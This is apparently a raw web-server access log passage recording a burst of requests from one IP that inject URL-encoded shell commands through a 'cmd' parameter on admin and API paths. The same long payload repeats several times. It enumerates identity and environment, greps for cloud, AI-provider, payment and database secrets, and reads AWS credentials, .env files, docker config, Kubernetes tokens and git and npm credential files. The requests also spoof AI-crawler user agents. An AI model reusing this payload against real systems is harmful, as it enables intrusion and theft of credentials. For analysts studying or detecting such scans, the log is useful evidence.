%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13828 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12110 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Version/18.0 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12115 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/148.0.2500.204 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Windows NT 10.0; rv:132.14) Gecko/20100101 Firefox/132.14; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /admin?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12111 "-" "Mozilla/5.0 (Windows NT 10.0; rv:127.3) Gecko/20100101 Firefox/127.3; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13826 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /admin?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13826 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.17) Gecko/20100101 Firefox/128.17; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%